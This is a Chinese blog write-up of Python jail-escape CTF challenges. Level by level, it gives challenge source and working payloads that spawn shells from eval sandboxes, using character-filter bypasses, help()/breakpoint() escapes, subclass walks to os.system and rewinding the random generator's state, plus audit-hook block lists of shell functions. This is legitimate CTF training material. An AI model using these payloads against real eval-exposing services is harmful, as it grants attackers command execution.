目录

  1. 1. 前言
    1. 1.1. 原理
  2. 2. 实战
    1. 2.1. beginner
    2. 2.2. python2 input(JAIL)
    3. 2.3. level 1
    4. 2.4. level 2
    5. 2.5. level 2.5
    6. 2.6. level 3
    7. 2.7. lake lake lake
    8. 2.8. l@ke l@ke l@ke
    9. 2.9. laKe laKe laKe
      1. 2.9.1. 多语句执行
      2. 2.9.2. 恢复生成随机数之前的状态
      3. 2.9.3. 法2:
    10. 2.10. lak3 lak3 lak3
    11. 2.11. level 4
      1. 2.11.1. bytes的ASCII list初始化方式
    12. 2.12. level 4.0.5
    13. 2.13. level 4.1
      1. 2.13.1. __doc__魔术方法获取字符
      2. 2.13.2. SSTI getshell
    14. 2.14. level 4.2
      1. 2.14.1. 法2:join拼接
    15. 2.15. level 4.3
    16. 2.16. level 5
      1. 2.16.1. 法2:一句话RCE一把梭
    17. 2.17. level 5.1
      1. 2.17.1. 法2:SSTI getshell

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

python jail

2023/6/7 MISC python 沙箱逃逸
  |     |   总文章阅读量:

前言

python沙箱逃逸(pyjail),在这些题目中,我们能够交互式地用eval或者exec执行python代码

基础知识可以看春哥的文章

这里更多的会结合空白爷在HNCTF出的题目来学习

原理

python特性为基础,绕过各种限制

实战

beginner

启动靶机,下载附件

获得python源码

#Your goal is to read ./flag.txt
#You can use these payload liked `__import__('os').system('cat ./flag.txt')` or `print(open('/flag.txt').read())`

WELCOME = '''
  _     ______      _                              _       _ _ 
 | |   |  ____|    (_)                            | |     (_) |
 | |__ | |__   __ _ _ _ __  _ __   ___ _ __       | | __ _ _| |
 | '_ \|  __| / _` | | '_ \| '_ \ / _ \ '__|  _   | |/ _` | | |
 | |_) | |___| (_| | | | | | | | |  __/ |    | |__| | (_| | | |
 |_.__/|______\__, |_|_| |_|_| |_|\___|_|     \____/ \__,_|_|_|
               __/ |                                           
              |___/                                            
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
print('Answer: {}'.format(eval(input_data)))

发现存在eval可以对输入的内容进行命令执行

nc连上靶机,可以看到提供了一个python交互环境

于是我们载入os模块进行命令执行,查目录,拿flag

__import__('os').system('sh')

image-20230607115540253


python2 input(JAIL)

python2

题目源码

# It's escape this repeat!

WELCOME = '''
              _   _      ___        ___    _____             _    _ _   
             | | | |    / _ \      |__ \  |_   _|           | |  | | |  
  _ __  _   _| |_| |__ | | | |_ __    ) |   | |  _ __  _ __ | |  | | |_ 
 | '_ \| | | | __| '_ \| | | | '_ \  / /    | | | '_ \| '_ \| |  | | __|
 | |_) | |_| | |_| | | | |_| | | | |/ /_   _| |_| | | | |_) | |__| | |_ 
 | .__/ \__, |\__|_| |_|\___/|_| |_|____| |_____|_| |_| .__/ \____/ \__|
 | |     __/ |                                        | |               
 |_|    |___/                                         |_|                               
'''

print WELCOME

print "Welcome to the python jail"
print "But this program will repeat your messages"
input_data = input("> ")
print input_data

语法上很明显是python2语法

  • 在python 2中,input函数从标准输入接收输入,并且自动eval求值,返回求出来的值;
  • 在python 2中,raw_input函数从标准输入接收输入,返回输入字符串;
  • 在python 3中,input函数从标准输入接收输入,返回输入字符串;
  • 可以认为,python 2 input() = python 2 eval(raw_input()) = python 3 eval(input())

这题没有限制和过滤

直接命令执行即可

image-20230609195756589


level 1

chr()

跟beginner比起来多加了过滤

def filter(s):
    not_allowed = set('"\'`ib')
    return any(c in not_allowed for c in s)
input_data = input("> ")
if filter(input_data):
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))

能通过eval执行任意命令,但是命令不能包含双引号、单引号、反引号、字母i和字母b

这个时候可以考虑用字符编码来进行绕过

附上生成脚本

# 原始字符串
character = "__import__('os').system('ls')"

# 获取字符串的 ASCII 码值,并转换为对应的字符
ascii_chars = [chr(ord(c)) for c in character]

# 输出结果,拼接成 "chr()+chr()+..." 的形式
ascii_str = "+".join([f"chr({ord(c)})" for c in character])
print(ascii_str)
print("对应的字符为 {}".format(eval(ascii_str)))

之后和上题一样传入即可

注意要带上eval(),才能进行命令执行,否则只是输出拼接结果

image-20230607201257446


level 2

限制长度+逃逸

跟beginner比起来多了个长度限制13

if len(input_data)>13:
    print("Oh hacker!")
    exit(0)

我们最终要执行的语句

__import__('os').system('sh')

长度明显会超过13

但是我们知道在php命令执行中存在一种绕过方法是利用参数进行逃逸

例如:

?cmd=system($_POST[1]);&1=ls

python交互环境下也是如此

因为长度限制只针对input_data = input("> ")

所以只要我们再套一层eval语句

eval(input())

就可以再执行一次input,此时这个输入语句是不受长度限制的

从而我们可以拿到shell

image-20230608184453373


level 2.5

breakpoint()

和level2比起来多加了一次关键词过滤

def filter(s):
    BLACKLIST = ["exec","input","eval"]
    for i in BLACKLIST:
        if i in s:
            print(f'{i!r} has been banned for security reasons')
            exit(0)

这过滤一加,既不能正常命令执行也不能通过再套一层的方式逃逸

这里也是一个姿势,利用breakpoint(),能够进入到pdb模块

pdb 模块定义了一个交互式源代码调试器,用于 Python 程序。它支持在源码行间设置(有条件的)断点和单步执行,检视堆栈帧,列出源码列表,以及在任何堆栈帧的上下文中运行任意 Python 代码。它还支持事后调试,可以在程序控制下调用。

所以进去pdb模块之后就可以正常进行命令执行了

image-20230609151752104


level 3

限制长度+help()

跟level2相比限制缩短到7,那level2.5的做法也失效了

if len(input_data)>7:
    print("Oh hacker!")
    exit(0)

这里要利用一个特殊的姿势,在python交互式终端中,可以通过help函数来进行RCE

进入交互式后,随便查询一种用法

由于太多,会使用more进行展示,造成溢出

在后面使用!命令即可造成命令执行

image-20230608190904819

image-20230608190658562


lake lake lake

全局变量泄露

题目源码

#it seems have a backdoor
#can u find the key of it and use the backdoor

fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"

def func():
    code = input(">")
    if(len(code)>9):
        return print("you're hacker!")
    try:
        print(eval(code))
    except:
        pass

def backdoor():
    print("Please enter the admin key")
    key = input(">")
    if(key == fake_key_var_in_the_local_but_real_in_the_remote):
        code = input(">")
        try:
            print(eval(code))
        except:
            pass
    else:
        print("Nooo!!!!")

WELCOME = '''
  _       _          _       _          _       _        
 | |     | |        | |     | |        | |     | |       
 | | __ _| | _____  | | __ _| | _____  | | __ _| | _____ 
 | |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _ \
 | | (_| |   <  __/ | | (_| |   <  __/ | | (_| |   <  __/
 |_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|                                                                                                                                                                     
'''

print(WELCOME)

print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
    func()
    exit(0)
elif(input_data == "2"):
    backdoor()
    exit(0)
else:
    print("not found the choice")
    exit(0)

可以看到一开始这里存在两个选项

选项1限制了长度不能超过9,这里尝试了一下发现help()函数在这里不可实现rce

所以这里得找另一个姿势进行绕过,此时我们发现选项2没有进行限制,但是需要key才能进入

而在源码中可以发现key是一个全局变量

所以我们可以在选项1中使用globals()函数读取全局变量获取到key的值

然后带上key的值进入选项2命令执行即可获取flag

image-20230609201016178


l@ke l@ke l@ke

help()+__main__返回全局变量

题目源码

#it seems have a backdoor as `lake lake lake`
#but it seems be limited!
#can u find the key of it and use the backdoor

fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"

def func():
    code = input(">")
    if(len(code)>6):
        return print("you're hacker!")
    try:
        print(eval(code))
    except:
        pass

def backdoor():
    print("Please enter the admin key")
    key = input(">")
    if(key == fake_key_var_in_the_local_but_real_in_the_remote):
        code = input(">")
        try:
            print(eval(code))
        except:
            pass
    else:
        print("Nooo!!!!")

WELCOME = '''
  _         _          _         _          _         _        
 | |  ____ | |        | |  ____ | |        | |  ____ | |       
 | | / __ \| | _____  | | / __ \| | _____  | | / __ \| | _____ 
 | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \
 | | | (_| |   <  __/ | | | (_| |   <  __/ | | | (_| |   <  __/
 |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___|
     \____/               \____/               \____/                                                                                                                                                                                                                                        
'''

print(WELCOME)

print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
    func()
    exit(0)
elif(input_data == "2"):
    backdoor()
    exit(0)
else:
    print("not found the choice")
    exit(0)

和上一题相比,把长度限制减少到6,于是不能直接用globalslocals函数,那只剩help()函数有突破口了

实际操作时发现!sh不能进到shell里面了,应该是做了手脚,这个方法行不通了

这里我们知道在help()中输入os的话可以得到os模块的帮助

那输入__main__的话,应该就能得到当前模块的帮助,包括当前模块的信息和全局变量

image-20230708142212145

成功拿到key

此外,由于脚本文件名字是叫server.py,所以我们也可以输入模块名server来得到模块信息

拿到flag

image-20230708142656480


laKe laKe laKe

随机数

题目源码

#You finsih these two challenge of leak
#So cool
#Now it's time for laKe!!!!

import random
from io import StringIO
import sys
sys.addaudithook

BLACKED_LIST = ['compile', 'eval', 'exec', 'open']

eval_func = eval
open_func = open

for m in BLACKED_LIST:
    del __builtins__.__dict__[m]


def my_audit_hook(event, _):
    BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen'})
    if event in BALCKED_EVENTS:
        raise RuntimeError('Operation banned: {}'.format(event))

def guesser():
    game_score = 0
    sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
    sys.stdout.flush()
    right_guesser_question_answer = random.randint(1, 9999999999999)
    sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout

    try:
        input_data = eval_func(input(''),{},{})
    except Exception:
        sys.stdout = challenge_original_stdout
        print("Seems not right! please guess it!")
        return game_score
    sys.stdout = challenge_original_stdout

    if input_data == right_guesser_question_answer:
        game_score += 1
    
    return game_score

WELCOME='''
  _       _  __      _       _  __      _       _  __    
 | |     | |/ /     | |     | |/ /     | |     | |/ /    
 | | __ _| ' / ___  | | __ _| ' / ___  | | __ _| ' / ___ 
 | |/ _` |  < / _ \ | |/ _` |  < / _ \ | |/ _` |  < / _ \
 | | (_| | . \  __/ | | (_| | . \  __/ | | (_| | . \  __/
 |_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|
                                                         
'''

def main():
    print(WELCOME)
    print('Welcome to my guesser game!')
    game_score = guesser()
    if game_score == 1:
        print('you are really super guesser!!!!')
        print(open_func('flag').read())
    else:
        print('Guess game end!!!')

if __name__ == '__main__':
    sys.addaudithook(my_audit_hook)
    main()

审计一下,发现pty.spawnos.systemos.execos.posix_spawnos.spawnsubprocess.Popen这些直接进行RCE的函数被过滤了,compileevalexecopen函数也被过滤了,看来RCE这条路是走不通了

而直接获得flag的方法是得到正确的随机数

这里随机数的生成是使用了random.randint方法

这里需要知道的是:python的random模块使用梅森旋转法(MT19937)来生成随机数,依赖于getrandbits(32),每次产生32bit随机数,每产生624次随机数就转一转

我们先看一下random模块的所有方法

image-20230708174043250

发现里面存在getstatesetstate方法

getstate

获取一个对象的内部状态(或称为状态信息),并返回一个包含状态信息的字典对象

setstate

设置一个对象的内部状态(或称为状态信息),以便将对象状态恢复到之前保存的状态

因为随机数生成器每生成一次随机数都会更新一次状态,那我们只要让它生成随机数时在同一状态就能获取随机数了

所以整体流程为:

先拿到random模块,再random.getstate()拿到随机数生成器的状态,再通过random.setstate()置随机数生成器状态为生成随机数之前的状态,最后random.randint生成一模一样的随机数

但是这又引出两个问题:

  1. 上述过程涉及多条语句的执行,但是pyjail只提供了一行eval
  2. 如何恢复生成随机数之前的状态

多语句执行

对于第一个问题,

python 3.8还引入了海象运算符:=:在表达式左侧应用海象运算符,可以将该表达式的值赋给某个变量

另外,我们还可以用一个list来装这些表达式,这样表达式的值就会从左至右依次计算,就像我们写程序一样一行一行地执行,要输出最后的值就在末尾加上一个[-1]

对于函数的实现,我们可以借助lambda表达式来完成

恢复生成随机数之前的状态

对于第二个问题,

我们先在本地测试一下,import random并打印random.getstate,发现返回一个元组

image-20230708175446163

大致返回内容为:

(3, (..., 624), None)

…的部分是624个32位整数

很明显,这里第一个取值3和第三个取值None都是固定的

现在我们调用一次random.getrandbits(32),再查看random.getstate

可以发现内容变成了

(3, (..., 1), None)

前面省略号的值也发生了变化(转过了)

那我们直接让计数器的值为0,这样在下一次执行random.getrandbits(32)的时候值就会变成1

所以payload的大致思路是:

  1. 使用 __import__('random') 导入 random 模块,并将其赋值给变量 random

  2. 使用 random.getstate() 方法获取当前的随机数生成器状态,并将其赋值给变量 state

  3. 使用 state[1] 切片获取随机数生成器状态元组的前 624 个元素,并将其转换为列表,并将其赋值给变量 pre_state。(因为梅森旋转法伪随机数生成器的内部状态包含了 624 个整数,其中前 624 个整数用于生成下一个随机数)

  4. 使用 (3,tuple(pre_state+[0]),None) 构造一个新的状态元组,其中第一个元素是一个常数 3,第二个元素是 pre_state 列表中的 624 个整数和一个 0 组成的元组,第三个元素为 None。这个新的状态元组用于设置随机数生成器的状态

  5. 使用 random.setstate() 方法将新的状态元组设置为随机数生成器的状态

  6. 使用 random.randint(1, 9999999999999) 生成一个随机整数,并将其输出

payload:

[random:=__import__('random'), state:=random.getstate(), pre_state:=list(state[1])[:624], random.setstate((3,tuple(pre_state+[0]),None)), random.randint(1, 9999999999999)][-1]

法2:

在下一题中发现RCE部分多加了一个,所以这题应该是可以利用cpython._PySys_ClearAuditHooks获取flag的

参考文章

payload回头有时间再研究下(


lak3 lak3 lak3

#Hi hackers,lak3 comes back
#Have a good luck on it! :Wink:

import random
from io import StringIO
import sys
sys.addaudithook

BLACKED_LIST = ['compile', 'eval', 'exec']

eval_func = eval
open_func = open

for m in BLACKED_LIST:
    del __builtins__.__dict__[m]


def my_audit_hook(event, _):
    BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen','code.__new__','function.__new__','cpython._PySys_ClearAuditHooks','open'})
    if event in BALCKED_EVENTS:
        raise RuntimeError('Operation banned: {}'.format(event))

def guesser():
    game_score = 0
    sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
    sys.stdout.flush()
    right_guesser_question_answer = random.randint(1, 9999999999999)
    sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout

    try:
        input_data = eval_func(input(''),{},{})
    except Exception:
        sys.stdout = challenge_original_stdout
        print("Seems not right! please guess it!")
        return game_score
    sys.stdout = challenge_original_stdout

    if input_data == right_guesser_question_answer:
        game_score += 1
    
    return game_score

WELCOME='''
  _       _    ____    _       _    ____    _       _    ____  
 | |     | |  |___ \  | |     | |  |___ \  | |     | |  |___ \ 
 | | __ _| | __ __) | | | __ _| | __ __) | | | __ _| | __ __) |
 | |/ _` | |/ /|__ <  | |/ _` | |/ /|__ <  | |/ _` | |/ /|__ < 
 | | (_| |   < ___) | | | (_| |   < ___) | | | (_| |   < ___) |
 |_|\__,_|_|\_\____/  |_|\__,_|_|\_\____/  |_|\__,_|_|\_\____/ 
                                                                                                                                                                       
'''

def main():
    print(WELCOME)
    print('Welcome to my guesser game!')
    game_score = guesser()
    if game_score == 1:
        print('you are really super guesser!!!!')
        print('flag{fake_flag_in_local_but_really_in_The_remote}')
    else:
        print('Guess game end!!!')

if __name__ == '__main__':
    sys.addaudithook(my_audit_hook)
    main()

和上题一样禁了各种RCE,但是恢复随机数的方法不依赖RCE,所以上题的payload还能用


level 4

绕过引号过滤

题目源码

#No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag


BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr']

eval_func = eval

for m in BANLIST:
    del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
    not_allowed = set('"\'`')
    return any(c in not_allowed for c in s)

WELCOME = '''
  _                _                           _       _ _   _                _ _  _   
 | |              (_)                         (_)     (_) | | |              | | || |  
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | || |_ 
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _|
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |  | |  
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|  |_|  
              __/ |                          _/ |                                      
             |___/                          |__/                                                                                                                                             
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval_func(input_data)))

禁用了__loader__, __import__, compile, eval, exec, chr,还禁用了'"\和反引号`

先用dir()看看有啥东西

> dir()
Answer: ['BANLIST', 'WELCOME', '__annotations__', '__builtins__', '__cached__', '__doc__', '__file__', '__name__', '__package__', '__spec__', 'eval_func', 'filter', 'input_data', 'm']

发现__builtin__还在,那看看里面有啥

> __builtins__
Answer: {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>, origin='built-in'), '__build_class__': <built-in function __build_class__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'aiter': <built-in function aiter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'anext': <built-in function anext>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__': True, 'BaseException': <class 'BaseException'>, 'Exception': <class 'Exception'>, 'TypeError': <class 'TypeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'GeneratorExit': <class 'GeneratorExit'>, 'SystemExit': <class 'SystemExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'ImportError': <class 'ImportError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'OSError': <class 'OSError'>, 'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>, 'EOFError': <class 'EOFError'>, 'RuntimeError': <class 'RuntimeError'>, 'RecursionError': <class 'RecursionError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'NameError': <class 'NameError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'AttributeError': <class 'AttributeError'>, 'SyntaxError': <class 'SyntaxError'>, 'IndentationError': <class 'IndentationError'>, 'TabError': <class 'TabError'>, 'LookupError': <class 'LookupError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ValueError': <class 'ValueError'>, 'UnicodeError': <class 'UnicodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'AssertionError': <class 'AssertionError'>, 'ArithmeticError': <class 'ArithmeticError'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'SystemError': <class 'SystemError'>, 'ReferenceError': <class 'ReferenceError'>, 'MemoryError': <class 'MemoryError'>, 'BufferError': <class 'BufferError'>, 'Warning': <class 'Warning'>, 'UserWarning': <class 'UserWarning'>, 'EncodingWarning': <class 'EncodingWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'BytesWarning': <class 'BytesWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'ConnectionError': <class 'ConnectionError'>, 'BlockingIOError': <class 'BlockingIOError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'InterruptedError': <class 'InterruptedError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'open': <built-in function open>, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'copyright': Copyright (c) 2001-2022 Python Software Foundation.
All Rights Reserved.

发现里面存在open函数,因为题目源码已经告诉我们flag的路径,那我们直接用open('flag').read()读取文件即可,但是需要用到引号

所以接下来就是要想办法获取引号

bytes的ASCII list初始化方式

我们可以使用 Python 中的 bytes 对象来表示一个字节序列,其中每个字节都是一个介于0和255之间的整数

例:

print(bytes([72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100]))

结果是b'Hello World'

而要想把字符串中的每个字符转换为ascii值,则需要运行以下脚本

s = "flag"
print([ord(c) for c in s])

结果是[102, 108, 97, 103]

则最终的payload:

open(bytes([102, 108, 97, 103]).decode()).read()

level 4.0.5

没给题目源码

先nc上题目看看

题目告诉我们和上题相比还多ban了input,locals,globals

先尝试拿着上题的paylaod打进去看看

emm成功了


level 4.1

__doc__魔术方法获取字符+getshell

没给题目源码

题目告诉我们比上题多ban了个bytes,那么这里还有一种方法能够获取字符

__doc__魔术方法获取字符

用索引的方式得到想要的字符,并拼接在一起,得到我们想要的字符串

().__doc__为例,它的帮助文档为:

Built-in immutable sequence.\n\nIf no argument is given, the constructor returns an empty tuple.\nIf iterable is specified the tuple is initialized from iterable's items.\n\nIf the argument is a tuple, the return value is the same object.

所以我们只要在本地先找到对应的偏移量:

().__doc__.find('f')

image-20230710174614003

然后继续使用open函数读取文件,在payload中将其拼接即可

open(().__doc__[31]+().__doc__[3]+().__doc__[14]+().__doc__[38]).read()

然后发现flag好像不叫flag了。。。

那只能换个办法,直接getshell

SSTI getshell

Show subclasses with tuple,找到type类中的内部子类<class 'os._wrap_close'>,它的全局变量和函数中存在system

对于这题,我们先查找<class 'os._wrap_close'>的位置

().__class__.__base__.__subclasses__()

image-20230710181145995

可以看到在倒数第四个

于是基础的payload形式为:(注:__globals__globals不一样)

().__class__.__base__.__subclasses__()[-4].__init__.__globals__['system']('sh')

接下来就是利用__doc__构造['system']('sh')

image-20230710181406070

最终payload:

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__doc__[19]+().__doc__[86]+().__doc__[19]+().__doc__[4]+().__doc__[17]+().__doc__[10]](().__doc__[19]+().__doc__[56])

image-20230710181548857

其实这里也可以利用Show subclasses with tuple找到bytes类来构造拼接,在上面那张图可以看到bytes类的索引是6


level 4.2

字符串拼接过滤+的绕过 or 直接找到bytes类来构造拼接

没给源码

题目信息告诉我们和上题相比多ban了个+

上面刚提到的利用Show subclasses with tuple找到bytes类来构造拼接,拼接符是.

所以可以构造对应的payload:(这题<class 'os._wrap_close'>的索引和bytes类的索引都没变)

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())

成功getshell

image-20230710183006192

法2:join拼接

基础形式:

''.join(['4', '3', '9', '6'])

要绕过一开始的'',这里直接用str()就行

payload:

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[str().join([().__doc__[19],().__doc__[86],().__doc__[19],().__doc__[4],().__doc__[17],().__doc__[10]])](str().join([().__doc__[19],().__doc__[56]]))

level 4.3

没给源码

题目信息告诉我们这题多ban了opentype,也就是说上题的预期或许会用到这两个函数(?

不影响上题的payload一把梭

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())

image-20230710183550748


level 5

没给源码

题目信息告诉我们flag好像在dir()

那我们就看看

> dir()
['__builtins__', 'my_flag']

有一个my_flag方法

查看这个方法

> dir(my_flag)
['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'flag_level5']

有一个flag_level5

尝试直接查看my_flag.flag_level5,返回DELETED,看来有做保护

继续跟进my_flag.flag_level5看看

> dir(my_flag.flag_level5)
['__add__', '__class__', '__contains__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__module__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'removeprefix', 'removesuffix', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']

发现里面有个encode函数,尝试调用

my_flag.flag_level5.encode()

成功返回flag

image-20230710185454479

法2:一句话RCE一把梭

__import__('os').system('sh')

level 5.1

没给源码

看题目描述是上一题的修复版,增加了RCE的难度

预期payload:

my_flag.flag_level5.encode()

法2:SSTI getshell

和level 4.1一样,不过<class 'os._wrap_close'>的索引在倒数第六个

().__class__.__base__.__subclasses__()[-6].__init__.__globals__['system']('sh')